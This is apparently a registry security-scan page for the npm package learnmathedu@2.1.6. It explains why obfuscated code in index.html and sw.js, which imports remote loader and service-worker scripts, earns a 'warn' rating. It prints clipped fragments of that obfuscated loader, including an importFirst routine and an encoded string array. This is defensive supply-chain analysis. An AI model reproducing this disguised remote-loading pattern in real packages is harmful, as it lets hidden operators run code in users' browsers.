registry / learnmathedu / 2.1.6

learnmathedu@2.1.6

math

AI Security Review

scanned 4d ago · by lpm-firewall-ai

At browser runtime, the static carrier fetches and executes remote loader and service-worker code whose CDN bases are hidden by obfuscation. No install-time attack surface is present.

Static reason

One or more suspicious static signals were detected.

Trigger

A user opens index.html in a browser.

Impact

Remote operators can change browser-executed functionality after publication; the shipped source does not establish credential theft or destructive behavior.

Mechanism

Obfuscated dynamic module import and service-worker importScripts loading.

Rationale

The package has a real remotely controlled executable payload path, obscured from review, but no concrete malicious behavior is established in the inspected source. Warn rather than block.

Evidence

index.htmlsw.jspackage.json

Decision evidence

public snapshot

AI called this Suspicious at 88.0% confidence as Unknown with medium false-positive risk.

Evidence for warning

Opening index.html dynamically imports a remotely assembled loader module.
The service worker imports a script from two encoded CDN bases with fallback.
Both shipped executable artifacts are heavily obfuscated, preventing local verification of remote targets.

Evidence against

package.json has no preinstall, install, or postinstall hook.
No direct credential harvesting, filesystem access, shell execution, or explicit exfiltration primitive was found in the shipped files.

Behavioral surface

Source

DynamicRequire

Supply chain

HighEntropyStringsMinifiedPossibleObfuscationTrivial

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 42.6 KB of source

Source & flagged code

5 flagged

index.htmlView file

Lines 1-2html

1<!doctype html><html lang=en><head><meta name="_LoWD7IhMa" content="3526d7f9b0f4341af3af82180e42381ceaba51639d03bec656f93a0d809c109b"><meta charset=utf-8><meta content="width=device-width,initial-scale=1,viewport-fit=cover" name=viewport><meta content=#8f1558 name=theme-color><meta content=dark name=color-scheme><title>yrneazngurqh</title><style>body,html{height:100%;margin:0;background:#151216}</style></head><body><script type=module>(function(_0xbfd92a,_0x38f7ff){const _0x3a6e59={_0x4dc121:0x544,_0x53f0a6:0x53d,_0x29ea4f:0x5d5,_0x20cbfe:0x60e,_0x6bc32d:0x59f,_0x3c376f:0x566,_0x537013:0x542,_ ...

Medium

Dynamic Require

Package source references dynamic require/import behavior.

index.htmlView on unpkg · L1

Medium

Ai Review Evidence

Opening index.html dynamically imports a remotely assembled loader module.

index.htmlView on unpkg · L1

Long lines were clipped for display.

sw.jsView file

Lines 1-3javascript

1function _0x4a24(){var _0x9952fa=['nti1ode2og9MzNrsDq','qgXHDgvZDc9KAxn0l2j1BMrSzs9ZDY5QCW','n3nfr3vVta','ndqXmZm0me1LBMjiqW','mta5nda5nfzLtKP3qG','D2fYBG','Ahr0Chm6lY91BNbRzY5JB20VqgvKDxjVy2TZlwDYB3vWl2XVywrLCG','wxvYAvjuqZOGBM8GD29YA2vYihnVDxjJzsbYzwfJAgfIBgu','mKfTrKrdta','nZu2ndv6A0H3D3q','mtK2nti1nu9It1bQuG','w1L1CMLsvenDihDVCMTLCIbZB3vYy2uGDw5YzwfJAgfIBgu',

package.jsonView file

Lines 3-29json

3 "version": "2.1.6",

4 "description": "math",

5 "type": "module",

6 "main": "index.html",

7 "files": [

Source & flagged code

5 flagged · loading source

index.htmlView file

1(function(_0xbfd92a,_0x38f7ff){const _0x3a6e59={_0x4dc121:0x544,_0x53f0a6:0x53d,_0x29ea4f:0x5d5,_0x20cbfe:0x60e,_0x6bc32d:0x59f,_0x3c376f:0x566,_0x537013:0x542,_0x25e282:0x633,_0x1...

Medium

Dynamic Require

Package source references dynamic require/import behavior.

index.htmlView on unpkg · L1

1async function importFirst(_0x318008){const _0x52caac={_0x3ff0e8:0x241};function _0x27eb99(_0x3ae042,_0xbcc43){return _0x55f32b(_0xbcc43,_0x3ae042- -_0x52caac._0x3ff0e8);}for(const _0x407138 of _0x318008){try{return await import(_0x407138);}catch{}}

Medium

Ai Review Evidence

Opening index.html dynamically imports a remotely assembled loader module.

index.htmlView on unpkg · L1

sw.jsView file

1function _0x4a24(){var _0x9952fa=['nti1ode2og9MzNrsDq','[redacted]','n3nfr3vVta','ndqXmZm0me1LBMjiqW','mta5nda5nfzLtKP3qG','D2fYBG','Ahr0Chm6lY91BNbRzY5JB20... L2: /*[redacted]*/

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

Findings

1 High5 Medium2 Low

HighObfuscated Payload Loadersw.js

MediumDynamic Requireindex.html

MediumStructural Risk Force Deep Review

MediumAi Review Evidenceindex.html

MediumAi Review Evidencesw.js

MediumAi Review Evidencepackage.json

LowScripts Present

LowHigh Entropy Strings